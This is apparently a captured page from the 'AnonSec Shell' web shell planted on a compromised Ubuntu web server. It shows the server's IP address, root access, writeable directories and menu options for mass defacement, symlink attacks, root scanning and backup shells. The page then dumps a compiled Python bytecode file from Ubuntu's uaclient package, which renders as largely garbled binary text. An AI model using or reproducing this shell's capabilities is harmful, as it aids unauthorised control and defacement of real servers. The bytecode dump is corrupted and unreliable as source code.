AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/lib/python3/dist-packages/uaclient/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/usr/lib/python3/dist-packages/uaclient/__pycache__/status.cpython-310.pyc
o

F��c�`�@s�ddlZddlZddlZddlZddlZddlmZddlmZmZddl	m
Z
mZmZm
Z
mZddlmZmZmZmZmZmZddlmZddlmZmZddlmZmZdd	lmZdd
l m!Z!m"Z"m#Z#m$Z$ddl%m&Z&e�'�Z(e�)e*�Z+dZ,d
Z-dZ.e$j/j0e&j1e$j/j0e&j2e$j3j0e&j4e$j3j0e&j2e$j5j0e&j6e$j5j0e&j2e$j7j0e&j6e$j7j0e&j2e!j8j0e&j1e!j8j0e&j2e!j9j0e&j6e!j9j0e&j2e,e&j1e,e&j2e-e&j1e-e&j2e.e&j1e.e&j2i	Z:dZ;dZ<dZ=dZ>idd�dd�de�?��dd�dd�dd�dd�dd�dg�de#j3j0�d ej@�d!i�d"g�d#d$d$d$ge$j5j0d%��d&d$d$d$gd'��d(d�ZAd)d*�ZBd+eeCe
ffd,d-�ZDd.ed+eeCe
ffd/d0�ZEd.ed+eeCe
ffd1d2�ZFd+eeCe
ffd3d4�ZGd+eeCe
ffd5d6�ZHdQd.ed7eId+eeCe
ffd8d9�ZJd:eeeCe
fd;eCd+eeCe
ffd<d=�ZK	dQd>eCd7eId+eeeCe
feLffd?d@�ZMdAeCd+eCfdBdC�ZNdDeeeCd+eCfdEdF�ZO	dRdGeeeCeCfdHe
eCd+eeCfdIdJ�ZPde
ed+eCfdKdL�ZQd9eeCe
fd+eCfdMdN�ZRdOdP�ZSdS)S�N)�OrderedDict)�datetime�timezone)�Any�Dict�List�Optional�Tuple)�event_logger�
exceptions�messages�system�util�version)�UAConfig)�get_available_resources�get_contract_information)�ATTACH_FAIL_DATE_FORMAT�PRINT_WRAP_WIDTH)�entitlement_factory)�ContractStatus�UserFacingAvailability�UserFacingConfigStatus�UserFacingStatus)�TxtColor�	essential�standard�advancedz({name: <17}{available: <11}{description}zJ{name: <17}{available: <11}{entitled: <11}{auto_enabled: <14}{description}z0SERVICE          ENTITLED  STATUS    DESCRIPTIONz4{name: <17}{entitled: <19}{status: <19}{description}�_doczUContent provided in json response is currently considered Experimental and may change�_schema_versionz0.1r�
machine_id�attachedF�	effective�expires�origin�services�execution_status�execution_details�features�notices�contract���id�name�
created_at�products�tech_support_level�account�r.r-r/�external_account_ids�	simulatedcCsdd�|��D�S)NcSs$g|]}|jj|jj|jjd��qS))r.�reason_code�reason)�entitlementr.�	named_msg�msg��.0�service�r>�1/usr/lib/python3/dist-packages/uaclient/status.py�
<listcomp>js���z,_get_blocked_by_services.<locals>.<listcomp>)�blocking_incompatible_services)�entr>r>r?�_get_blocked_by_servicesis�rC�returnc		Cs�d}d}|��}|j|vrdnd}|tjkrtj}n |j|vr(tj}||j}n|��\}}|r3|j}|tjkr:d}t	|�}|j
|j|j|j||||d�S)Nr+�no�yes)r.�description�entitled�status�status_details�description_override�	available�
blocked_by)
�contract_statusr.r�
UNENTITLEDr�UNAVAILABLE�INAPPLICABLE�user_facing_statusr:rC�presentation_namerG�value)	rB�inapplicable_resourcesrJrKrNrL�
ent_status�detailsrMr>r>r?�_attached_service_statusts0


�rX�cfgcCs�|j�dtj�t�t�}|jd}|d}tj	j
}|�|dd|�d�|j�
�p*g|d|d|�d	d�|�d
g�|d�|jjd|jjd|jj�d	d�|jj�dg�d
�d��|�d�rf|jj|d<|�d�rq|d|d<|j�d�}|s}t|�}dd�t|dd�d�D�}|D]'}zt||�dd�d�}Wn
tjy�Yq�w||�}	|d�t|	|��q�|djdd�d�|jj�di��d�}
|
r�|
�di��d�}|r�||d d!<|S)"z8Return configuration of attached status as a dictionary.r+�machineTokenInfo�contractInfo�	machineIdTr$r-r.�	createdAtr0r,�externalAccountIDsr3)r r!r$r)r*r2�effectiveTor#�
effectiveFromr"�availableResourcescSs&i|]}|�d�s|d|�d��qS)rLr.rG��get�r<�resourcer>r>r?�
<dictcomp>�s��z$_attached_status.<locals>.<dictcomp>cS�|�dd�S�Nr.r+rb��xr>r>r?�<lambda>��z"_attached_status.<locals>.<lambda>��key�rYr.r%cSrgrhrbrir>r>r?rk�rl�supportr8�affordances�supportLevelr*r1)�notice_file�
try_remover�AUTO_ATTACH_RETRY_NOTICE_PREFIX�copy�deepcopy�DEFAULT_STATUS�
machine_tokenrrQrT�updaterc�read�machine_token_filer2�contract_expiry_datetimer�sortedrr�EntitlementNotFoundError�appendrX�sort�entitlements)rY�responserZr[r1�	resourcesrUre�ent_clsrBrprrr>r>r?�_attached_status�st



�

�����

�
����r�cCs�t�t�}t|�}|D]G}|�d�rtjj}ntjj}zt	||�dd�d�}Wnt
jy?t�
tjj|�dd�d��Yqw|d�|�d|d�|j|d	��q|djd
d�d�|S)
z#Return unattached status as a dict.rLr.r+rozwithout a 'name' key)r=r%�presentedAs)r.rGrLcSrgrhrbrir>r>r?rk�rlz$_unattached_status.<locals>.<lambda>rm)rvrwrxrrcr�	AVAILABLErTrPrrr�LOG�debugr�!AVAILABILITY_FROM_UNKNOWN_SERVICE�formatr�rGr�)rYr�r�rerLr�r>r>r?�_unattached_status�s4



�
�����r�c
	Cs�tj|jdd�}||O}|r|St�|�}g}|�di�D]3}|d}zt||d�}Wntjy;	|�	|�Yqwt
jj}	|j
rK|�dd�|	krP|�	|�q|rW||d<|S)z1Remove beta services from response dict if neededzfeatures.allow_beta)�config�
path_to_valuer%r.rorIr+)r�is_config_value_truerYrvrwrcrrrr�r�ACTIVErT�is_beta)
rY�show_allr��config_allow_beta�new_response�released_resourcesre�
resource_namer��enabled_statusr>r>r?�_handle_beta_resourcess0�

�

�r�c
Cs�t}|jj}tj}|��\}}|j��pg}|dkr(|jj}tj	j
||d�j}n%tj
�|�d��rM|jj}d}|D]\}}	|dkrE|	}nq9tjj
|d�}||||j|j|jd�S)aGReturn a dict with execution_status, execution_details and notices.

    Values for execution_status will be one of UserFacingConfigStatus
    enum:
        inactive, active, reboot-required
    execution_details will provide more details about that state.
    notices is a list of tuples with label and description items.
    r)�pid�lock_holderzmarker-reboot-cmdszconfiguration changeszReboot required��	operation)r&r'r)�config_pathr�r()r�INACTIVErTr�NO_ACTIVE_OPERATIONS�check_lock_inforsr{r��	LOCK_HELDr�r:�os�path�exists�	data_path�REBOOTREQUIRED�ENABLE_REBOOT_REQUIRED_TMPL�cfg_pathrYr()
rY�
userStatus�
status_val�status_desc�lock_pidr�r)r��labelrGr>r>r?�_get_config_status$s<	�����r�r�cCs�|jrt|�}nt|�}|�t|��|jr,|�d|�t��s,|j	�
dtjj
dd��t|||�}|sCdd�|�dg�D�}||d<|S)aReturn status as a dict, using a cache for non-root users

    When unattached, get available resources from the contract service
    to report detailed availability of different resources for this
    machine.

    Write the status-cache when called by root.
    �status-cacher+z
fix operationr�cS� g|]}|�dd�dkr|�qS�rLrFrbr;r>r>r?r@j���zstatus.<locals>.<listcomp>r%)�is_attachedr�r�rzr��	root_mode�write_cacher
�
should_rebootrs�removerr�r�r�rc)rYr�r��available_servicesr>r>r?rIKs(	
��
�rIr��entitlement_namecCs`|D]'}|�d�|kr)|�d�rdnd|�di��d�rdnd|�di�d�Sqddid�S)	z0Extract information from the entitlements array.�typerHrFrE�obligations�enableByDefaultrq)rH�auto_enabledrqrb)r�r�r8r>r>r?�_get_entitlement_informationts�

��r��tokenc
Cs^d}t�t�}zt||�}Wn$tjy2}zt|d�r,|jdkr,tjt	j
jt	j
jd��|�d}~ww|�
di�}|�
di�}|�|�
dd	�|�
d
d	�|�
dd	�|�
dg�d
�|�
d
d	�|�
d�|�
dd	�|�
dg�d�dd��t�tj�}	|�
d�r�|�
d�|d<t�|d�}
|
|	}|��dkr�t	jj|dd|
�t�d�}tj|j|jd�t�d|jd�d}|�
d�r�|�
d�|d<t�|d�}
|	|
}|��dkr�t	jj|dd|
�t�d�}tj|j|jd�t�d|jd�d}|�d�}|�r|�
d�}nt|�}|�
dg�}dd �t |d!d"�d#�D�}|D]G}|�
d
d	�}zt!||d$�}Wntj"�y<Y�q w||d%�}t#||�}|d�$|�
d&|j�|j%|d'|d(|j|v�rad)nd*d+���q |dj&d,d"�d#�t#|d-�}|d'�r�|d.�
d/�}|�r�||dd0<|�t'|��t(|||�}|�s�d1d �|�
dg�D�}||d<||fS)2z�Get a status dictionary based on a token.

    Returns a tuple with the status dictionary and an integer value - 0 for
    success, 1 for failure
    r�codei�)r:�msg_codeNr[�accountInfor-r+r.r]r0)r-r.r/r0r^r3T)r*r2r5r_r#r*)�contract_id�date)�	error_msg�
error_codezThis token is not valid.
�
�r`r"r�r%�resourceEntitlementscSsg|]
}|ds|d�qS)rLr.r>rdr>r>r?r@�s��z#simulate_status.<locals>.<listcomp>cSs|dS)Nr.r>rir>r>r?rk�sz!simulate_status.<locals>.<lambda>rmro)rYr�rHr�rFrE)r.rGrHr�rLcSrgrhrbrir>r>r?rk�rlrprqrrr1cSr�r�rbr;r>r>r?r@�r�))rvrwrxrr�ContractAPIError�hasattrr��UserFacingErrorr�ATTACH_INVALID_TOKENr:r.rcrzr�nowr�utcr�parse_rfc3339_date�
total_seconds�ATTACH_FORBIDDEN_EXPIREDr��strftimer�event�error�info�ATTACH_FORBIDDEN_NOT_YET�
read_cacherr~rrr�r�rGr�r�r�)rYr�r��retr��contract_information�e�
contract_info�account_infor��expiration_datetime�delta�message�effective_datetime�status_cacher�r�rUrer�r�rB�entitlement_informationrprrr�r>r>r?�simulate_status�s�
���



�

����

�

�
��
����


�r��stringcCstj��rt�||�S|S)z=Return colorized string if using a tty, else original string.)�sys�stdout�isatty�STATUS_COLORrc)r�r>r>r?�colorizesr��commandscCstd}|D]}|r|d7}|d�|�7}qd�tj|tddd��}d|vr*d	}d
}nd}d}d
jtj|||tjd�S)Nr+z && � z \
�z  )�width�subsequent_indentr�z{
  z
}z{ z }z%{color}{prefix}{content}{suffix}{end})�color�prefix�content�suffix�end)�join�textwrap�wraprr�r�DISABLEGREY�ENDC)r�r��cmd�wrapped_contentr�r�r>r>r?�colorize_commandss,
���r��column_data�headercsldg}|r
|�|�tdd�|D��}|dkr*d�|��|��fdd�|D��|S|�dd�|D��|S)z�Return a list of content lines to print to console for a section

    Content lines will be center-aligned based on max value length of first
    column.
    r+cSsg|]}t|d��qS)r)�len�r<�pairr>r>r?r@/sz.get_section_column_content.<locals>.<listcomp>rz{{:>{}}}: {{}}csg|]}�j|��qSr>)r�r��templater>r?r@2scSsg|]}|d�qS)r�r>rr>r>r?r@5s)r��maxr��extend)r�r�r��template_lengthr>rr?�get_section_column_content$s

�rcCs6|durdSz|��}Wn	tyYnw|�d�S)NzUnknown/Expiredz%c %Z)�
astimezone�	Exceptionr�)r#r>r>r?�format_expires9s�
rcCs�|�d�s�|�d�r,tjdddddd�g}|d	D]
}|�tjd&i|���qd
�|�Stjdddd�g}|d	D]
}|�tjd&i|���q9|�d�rZ|�t|�d�pUgd
d��|�d�rz|�d�t|d�	��D]
\}}|�d�||��ql|�dt
jjg�d
�|�St
g}|d	D]-}|d}|�d�}|r�|n|d}|dt|�t|d�|d�}	|�tjd&i|	���q�|dd}
|�d�r�|�t|�d�p�gd
d��|�d�r�|�d�t|d�	��D]
\}}|�d�||��q�|�d�g}|dd}|�r
|�d|f�|dd}
|
�r|�d|
f�|dd k�r8|�d!t|d"�f�|�d#t|
�f�|�rC|�t|d$��d
�|�S)'z&Format status dict for tabular output.r!r5�SERVICEr��ENTITLED�AUTO_ENABLED�DESCRIPTION)r.rLrHr�rGr%r�)r.rLrGr)�NOTICES)r�r(z	
FEATURESz{}: {}r+rHrKrGr.rI)r.rHrIrGr*r1z+
Enable services with: pro enable <service>r2�Account�Subscriptionr$�freezValid untilr#zTechnical support level)r�Nr>)rc�STATUS_SIMULATED_TMPLr�r�r��STATUS_UNATTACHED_TMPLrrr~�itemsr�
UNATTACHEDr:�
STATUS_HEADERr��STATUS_TMPLr)rIr�r=rnrT�service_statusrH�descr_overriderG�fmt_argsr1�pairs�account_name�
contract_namer>r>r?�format_tabularCs�

��	
��
��



�
�
��



r c	Cst|�}d}t�}||d<|D],}|d|ks|�d�|kr;z
t||dd�}Wn
tjy2Yqw|}||�}nq|durHt�d�|���|jrjt	|i�}|d}	|d|d<|	|d<|	dkri|j
rid	|d
<n|drstjj
}
ntjj
}
|
|d<|j|d<|S)
z�Return help information from an uaclient service as a dict

    :param name: Name of the service for which to return help data.

    :raises: UserFacingError when no help is available.
    Nr.r�rozNo help available for '{}'rIrH�enabledT�betarL�help)rrrcrrrr�r�r�rXr�rr�rTrP�	help_info)rYr.r��
help_resource�
response_dictre�help_ent_cls�help_entr�
status_msgrLr>r>r?r#�sF
����
�

r#)F)N)Trv�loggingr�r�r��collectionsrrr�typingrrrrr	�uaclientr
rrr
rr�uaclient.configr�uaclient.contractrr�uaclient.defaultsrr�uaclient.entitlementsr�(uaclient.entitlements.entitlement_statusrrrr�uaclient.messagesr�get_event_loggerr��	getLogger�__name__r��	ESSENTIAL�STANDARD�ADVANCEDr�rT�OKGREENr�r��FAILrQr�rPr
rOr�rrrr�get_versionr�rxrC�strrXr�r�r�r��boolrIr��intr�r�r�rrr r#r>r>r>r?�<module>s� 
������������	�
���
������� "G#$ ')��

����
����
�
[

Anon7 - 2022
AnonSec Team